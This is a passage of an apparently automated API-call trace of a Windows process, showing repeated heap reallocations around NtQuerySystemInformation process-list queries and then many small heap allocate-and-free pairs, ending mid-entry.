[0130.006] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1a3a8) returned 0x1cda08c0 [0130.006] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.007] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1b3cc) returned 0x1cda08c0 [0130.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.007] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1c3f0) returned 0x1cda08c0 [0130.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.008] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1d414) returned 0x1cda08c0 [0130.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.009] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1e438) returned 0x1cda08c0 [0130.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.009] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1f45c) returned 0x1cda08c0 [0130.009] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.010] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x20480) returned 0x1cda08c0 [0130.010] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.011] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x214a4) returned 0x1cda08c0 [0130.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.011] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x224c8) returned 0x1cda08c0 [0130.011] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0130.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0130.125] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0130.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0130.125] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0130.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0130.126] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x420730d0 [0130.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x420730d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x420730d0, ResultLength=0x0) returned 0xc0000004 [0130.126] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x420730d0, Size=0x50b4) returned 0x420730d0 [0130.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x420730d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x420730d0, ResultLength=0x0) returned 0xc0000004 [0130.126] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x420730d0, Size=0x60d8) returned 0x420730d0 [0130.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x420730d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x420730d0, ResultLength=0x0) returned 0xc0000004 [0130.127] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x420730d0, Size=0x70fc) returned 0x41c08080 [0130.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x41c08080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x41c08080, ResultLength=0x0) returned 0xc0000004 [0130.127] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x41c08080, Size=0x8120) returned 0x1cda08c0 [0130.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.128] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0130.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.128] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0130.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.129] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0130.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.129] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0130.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.129] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0130.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.130] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0130.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.130] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0130.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.130] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0130.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.131] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0130.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.132] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0130.132] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.132] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0130.132] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.133] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0130.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.133] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0130.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.133] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0130.134] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.134] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0130.134] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0130.135] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0130.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0147.562] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x42390080 [0147.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.574] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1a3a8) returned 0x42390080 [0147.575] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42390080, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x42390080, ResultLength=0x0) returned 0xc0000004 [0147.576] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42390080, Size=0x1b3cc) returned 0x423aa440 [0147.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423aa440, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x423aa440, ResultLength=0x0) returned 0xc0000004 [0147.582] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423aa440, Size=0x1c3f0) returned 0x423aa440 [0147.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423aa440, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x423aa440, ResultLength=0x0) returned 0xc0000004 [0147.583] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423aa440, Size=0x1d414) returned 0x423c6840 [0147.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423c6840, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x423c6840, ResultLength=0x0) returned 0xc0000004 [0147.590] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423c6840, Size=0x1e438) returned 0x423c6840 [0147.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423c6840, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x423c6840, ResultLength=0x0) returned 0x0 [0147.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0147.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0147.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0147.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0147.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0147.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cda07f0 [0147.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x420590b0 [0147.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0147.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85ff70 [0147.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda07f0 [0147.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x420590b0 [0147.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0147.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cda07f0 [0147.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85ff70 [0147.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0147.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0147.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0147.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda07f0 [0147.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0147.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0147.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0147.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85ff70 [0147.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ff70 [0147.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ff70 [0147.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff70 [0147.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0147.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0147.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0147.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0147.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85ff70 [0147.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0147.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cda07f0 [0147.620] RtlFreeHeap 